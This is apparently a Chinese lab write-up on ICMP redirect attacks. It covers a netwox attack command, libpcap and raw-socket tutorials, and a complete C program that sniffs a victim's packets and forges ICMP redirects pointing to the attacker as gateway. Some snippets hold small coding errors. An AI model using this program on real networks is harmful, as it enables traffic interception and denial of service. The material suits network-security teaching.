环境:攻击机Ubuntu 18 ,受攻击机Windows7
一、使用netwox体会实验效果,netwox发出的ICMP重定向包的目的IP是受害者的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。
1.Ubuntu安装netwox
sudo apt-get install netwox
2.用netwox做重定向攻击
netwox 86 -g 新的网关地址 -i 目标机当前使用的网关地址
3.在目标机上安装wireshark程序(参考网上),执行ping命令,并启动wireshark抓包,观察虚拟机1 (攻击者)的netwox程序发出的数据包。
二、pcap简单介绍与应用
2.1 pcap简介
pcap是一个抓包库,这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,甚至是那些发送给其他主机的,通过这种机制,都是可以捕获的。它也支持把捕获的数据包保存为本地文件和从本地文件读取信息。而使用pcap需要以下的流程:
-
确认嗅探的接口,如Linux中的eth0;
-
初始化pcap,告诉pcap需要嗅探的接口。使用文件句柄来命名区分不同的对话;
-
创建自己的规则集,保存在字符串中,“编译“并应用它;
-
规定循环方式并定义回调函数,回调函数在抓到满足我们的规则集的数据报时执行;
-
结束会话
接下来我们按照这个步骤一步一步来设置一个简单的pcap程序:
2.2 写一个简单的pcap程序
2.2.1 嗅探接口
#include <stdio.h>
#include <pcap.h>//pcap.h
int main()
{
char *device;//存储pcap_lookupdev自动寻找到的可用interface
char err[PCAP_ERRBUF_SIZE];//用于记录pcap_lookupdev的错误信息
device = pcap_lookupdev(errbuf);//寻找第一个可用的网络interface
if (device == NULL) {
fprintf(stderr, "Can't find valid interface: %s\n", err);
return(2);
}
printf("Valid Interface: %s\n", device);
return(0);
}
尝试运行一下
gcc pcap1.c -o pcap
这里可能会报错找不到pcap.h这个头文件,说明运行机器上未安装libpcap库。
安装GNU M4这个是编译flex必备的环境,否则会提示“GNU M4is required”的错误。直接在终端执行
sudo apt-get install m4
安装flex直接在终端执行
sudo apt-get install flex
安装bison直接在终端执行
sudo apt-get install bison
5.安装libpcap上面四步完成后,首先去官网下载libpcap的压缩包,tar -zxvf libpcap-1.9.1.tar.gz
解压后,通过终端进入存放该libpcap到文件路径,就可以使用下面三个指令安装libpcap环境。
./configure
make
sudo make install
第三步建议以sudo到身份执行该命令,否则可能因为权限原因而无法正确执行。完成以上步骤后,libpcap即安装成功。
再次编译,此时加上 -lpcap,告诉gcc要去找pcap的库,但是还是报错,原因是安装libpcap时,.so文件没有在gcc寻找库的默认文件夹下
/usr/local/lib$ sudo cp libpcap.so.1 /usr/lib
到/usr/local/lib
下,将库文件libpcap.so.1
复制到/usr/lib
即可
此时再次编译
gcc pcap1.c -o pcap1 -lpcap
./pcap1
运行结果:The Valid Interface is: ens33
en33正式本实验机的接口名称。
2.2.2 打开设备嗅探
#include <pcap.h>
...
pcap_t *handle;//pcap_t结构体,用于接收pcap_open_live返回的句柄
handle = pcap_open_live(device, BUFSIZ, 1, 1000, err);
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, err);
return(2);
}
pcap_open_live(device, BUFSIZ, 1, 1000, err);
:用于获取一个数据包捕获的描述符,以便用来查看网络上的数据包。
device:上文的pcap_lookupdev
获得的可用接口;
BUFSIZ:从次device获取流量的缓冲区大小;
1:是否开启混杂模式(是否接收与本机无关的流量);
1000:设置的超时时间(毫秒);
err:存储该函数的错误信息
gcc pcap2.c -o pcap2 -lpcap
sudo ./pcap2.c
执行此函数的时候要sudo
,因为要获得接口的流量,需要管理员权限。
2.2.3 定义规则集
对流量进行过滤需要使用pcap_compile()和pcap_setfilter(),前者给指定的数据包捕获描述符设定过滤规则,后者运行这个过滤规则。
int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)
可以看到编译函数共有五个参数,他们分别是:
-
pcap句柄
-
存储过滤器的编译版本的位置的引用
-
规则集,规则集很灵活,pcap规则集
-
是否优化表达式
-
指定过滤器适用的网络的网络掩码,可以直接写0
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
-
pcap句柄
-
存储过滤器的编译版本的位置的引用
简单举个例子:
#include <pcap.h>
...
pcap_t *handle; /* Session handle */
char dev[] = "rl0"; /* Device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
struct bpf_program fp; /* The compiled filter expression */
char filter_exp[] = "port 23"; /* The filter expression ,目标端口23*/
bpf_u_int32 mask; /* The netmask of our sniffing device */
bpf_u_int32 net; /* The IP of our sniffing device */
//调用函数自动寻找网络掩码
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Can't get netmask for device %s\n", dev);
net = 0;
mask = 0;
}
//打开句柄
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return 0;
}
//编译过滤
if (pcap_compile(handle, &fp, filter_exp, 0, mask) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return 0;
}
//应用
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return 0;
}
2.2.4 定义循环方式与回调函数
设置好了我们的过滤器,我们就要对数据报进行我们想要的处理了,首先我们要规则我们的循环方式,其主要的循环方式有两种,分别是pcap_next,这种方式是捕获单个数据报,而pcap_loop则是循环抓包,首先看看pcap_next:
//参数声明
struct pcap_pkthdr header;
const u_char *packet;
//函数调用
packet = pcap_next(handle, &header);
第一个参数是我们的会话句柄。 第二个参数是一个指向结构的指针,该结构保存有关数据包的一般信息,特别是它被嗅探的时间、此数据包的长度以及其特定部分的长度(例如,分片的情况)。pcap_next ()返回一个u_char指针,指向此结构描述的数据包。
而更多的用户会使用pcap_loop:
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
此处有四个参数,他们分别是
- pcap句柄
- 循环次数(负值代码一直抓直到发生错误)
- 回调函数
- 希望向回调函数传递的参数
除了这两者,还有另外一个 pcap_dispatch(),用法与loop差不多,唯一取别是其只处理系统收到的第一批数据包。
明白了循环定义方式,接下来我们要定义我们的回调函数,为了满足pcap函数,我们需要以固定格式定义我们的回调函数,如下:
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
第一个参数就是刚刚loop调用的最后一个参数;第二个包含了我们所嗅探的包的一些基本信息,如抓取时间和长度;第三个指向整个数据报。
pcap_loop()函数 和 callback()回调函数
三、raw socket编程
介绍一下socket编程:
首先是socket函数:
int socket(int domain, int type, int protocol);
这个函数建立一个协议族为domain、协议类型为type、协议编号为protocol的套接字文件描述符。如果函数调用成功,会返回一个标识这个套接字的文件描述符,失败的时候返回-1
domain:
type:
使用SOCK_RAW时,创建一个原始套接字.然而这种类型套接字的功能却与TCP或者UDP类型套接字的功能有很大的不同:TCP/UDP类型的套接字只能够访问传输层以及传输层以上的数据,因为当IP层把数据传递给传输层时,下层的数据包头已经被丢掉了.而原始套接字却可以访问传输层以下的数据,所以使用 raw套接字你可以实现上至应用层的数据操作,也可以实现下至链路层的数据操作.
使用原始套接字时应该注意的问题(摘自)
(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),也就是通过直接访问数据链路层来实现.(我们后面的密码窃取器就是基于这种类型的).
(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字.
(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包,并返回一个ICMP主机不可达的消息给源主机.
(4): 如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字.
(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字.
(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字.
int setsockopt(int sockfd, int level, int optname,const void *optval, socklen_t optlen);
level:选项所在的协议层。 level指定控制套接字的层次.可以取三种值:
-
SOL_SOCKET:通用套接字选项.
-
IPPROTO_IP:IP选项.
-
IPPROTO_TCP:TCP选项.
optname:
当需要编写自己的IP数据包首部时,可以在optname上设置套接字选项IP_HDRINCL.在不设置这个选项的情况下,IP协议自动填充IP数据包的首部。
optval:
对于getsockopt(),指向返回选项值的缓冲;对于setsockopt(),指向包含新选项值的缓冲。
optlen:
对于setsockopt(),是新选项值的长度。
根据raw socket简单写一个ping程序:
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include<netinet/ip_icmp.h>
struct sockaddr_in target, from;//target用于存储目标ip地址
int main(int argc,char *argv[])
{
int sockfd;
int i;
char sendbuff[8];//存储icmp报头,作为ip数据包的数据部分
struct icmp *icmp;
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//创建一个ICMP的原始套接字
icmp = (struct icmp*)sendbuff;
//自定义icmp报头信息
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_id=2;
icmp->icmp_seq=3;
printf("buff is %x.\n",*sendbuff);
printf("target is %s\n",argv[1]);
if(argc !=2)
{
printf("Usage:%s targetip",argv[0]);
exit(1);
}
if(inet_aton(argv[1],&target.sin_addr) == 0)//将命令行的点分字符串IP地址转换为一个32位的网络序列IP地址
{
printf("bad ip address %s\n",argv[1]);
exit(1);
}
while(1)
{
i = sendto(sockfd,sendbuff,8,0,(struct sockaddr *)&target,sizeof(target));
//sendto是UDP下的socket编程发送数据的函数,将sendbuff里的内容发送到sockfd表示的socket链接上,8是所发送数据的字节数,0是flag,一般设为0,
printf("Already send %d bytes data\n",i);
sleep(1);
}
close(sockfd);
return 1;
}
注意:
struct sockaddr_in target, from;
这两个结构体变量的声明必须在main函数之外,如果在main函数之内,sendto()
会返回-1,即执行失败,暂时我还不知道为什么
经过测试printf("testing %d\n",target.sin_addr.s_addr);
不管target声明在main函数的内还是外,写入到target里的目标ip都是没问题,可以输出的,但是sendto函数就是会出错。。。,总之肯定是target作用域的问题。。。- 运行这个ping程序需要root权限,先
su root
,原因是raw socket的使用需要root权限
ping程序的运行结果:
Ubuntu攻击机:
Win7的目标机的WireShark:
直接写ICMP重定向攻击:
#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <arpa/inet.h>
#define MAX 1024
#define SIZE_ETHERNET 14
/* IP header */
struct sniff_ip {//构建一个ip头部结构,用于捕获所抓获数据包的源ip地址
u_char ip_vhl; /* version << 4 | header length >> 2 */
u_char ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src;
struct in_addr ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)
unsigned char *Original_GW_IP ;//原网关ip
unsigned char *Attacker_IP ;//攻击机ip,或者新网关ip
char Temp_Tar_IP[4];
unsigned char *Target_IP;
//ip报头与icmp包头的校验字段函数
unsigned short checksum(unsigned char *buf, int len)
{
unsigned int sum = 0 ;
unsigned short *cbuf;
cbuf = (unsigned short *)buf;
while(len>1)
{
sum += *cbuf++;
len -= 2;
}
if(len)
sum += *(unsigned char *)cbuf;
sum = (sum >> 16)+(sum & 0xffff);
sum += (sum >>16);
return ~sum;
}
void Redirect(int sockfd,const unsigned char *data,int datalen)
{
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
}packet;
//将原ip报文的前28个字节作为icmp报文的数据部分
memcpy(packet.datas,(data+SIZE_ETHERNET),28);
//伪造ip头部
packet.ip.version = 4;//ip版本是ipv4
packet.ip.ihl = 5;//ip头部长度是5*4 = 20B
packet.ip.tos = 0;//全0表示最低优先级
packet.ip.tot_len = htons(56);//总长度56B
packet.ip.id = 1;//标志为1
packet.ip.frag_off = 0;//片偏移和标志物全0,即不分片,总长度56也不需要分片
packet.ip.ttl = 255;//跳数
packet.ip.protocol = IPPROTO_ICMP;//ip报文的上层协议是icmp
packet.ip.check = 0;//校验码先置0
packet.ip.saddr = inet_addr(Original_GW_IP);//伪造的源ip
packet.ip.daddr = inet_addr(Target_IP);//伪造的目的ip
//伪造icmp头部
packet.icmp.type = ICMP_REDIRECT;//05,表示icmp重定向报文
packet.icmp.code = ICMP_REDIR_HOST;//01,表示对主机的重定向
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Attacker_IP);//伪造的新网关ip
struct sockaddr_in dest = {
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Target_IP)
}
};
packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
//将打包伪造好的数据packet通过sockfd所指向的连接,发送给dest所表明目标ip地址
sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
}
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int sockfd;
int one = 1;
int *ptr_one = &one;
//获取所捕获报文的源ip地址,确定攻击对象
const struct sniff_ip *ip;
ip = (struct sniff_ip *)(packet + SIZE_ETHERNET);
Target_IP = inet_ntoa(ip->ip_src);
printf("got a packet!\n");
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
printf("create sockfd failed\n");
exit(-1);
}
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one))<0)
{
printf("setsockopt failed\n");
exit(-1);
}
Redirect(sockfd,packet,0);
}
int main(int argc,char *argv[])
{
unsigned char *filterip;//用于指向过滤ip的指针
char *device;//接口指针
char *err[PCAP_ERRBUF_SIZE];//错误数组
pcap_t *handle;
device = pcap_lookupdev(err);
if(device == NULL)
{
fprintf(stderr,"Can't find a valid interface: %s\n",err);
return 0;
}
printf("The valid interface:%s\n",device);
handle = pcap_open_live(device,65535,1,1000,err);
char filterstr[50] = {0};
struct bpf_program filter;
printf("%s,%s\n",argv[1],argv[2]);
Attacker_IP = argv[1];
printf("Attacker_IP is:%s\n",Attacker_IP);
Original_GW_IP = argv[2];
filterip = argv[3];
sprintf(filterstr,"src host %s",filterip);
pcap_compile(handle,&filter,filterstr,1,0);
pcap_setfilter(handle,&filter);
printf("Start\n");
pcap_loop(handle,-1,getPacket,NULL);
return 1;
}
sudo ./temp 攻击机ip 原网关ip
就可以发动攻击了,我这里最后还输入目标ip地址
,作为过滤器,虽然这会导致ICMP攻击只对一个ip生效,但是如果全局域网攻击,会导致对单个ip的攻击效力太低,比如我的目标机ping外网有50%的概率能ping通,如果限制了目标ip地址,就能100%ping不通,比较程序比较简单,也不是多线程,理解一些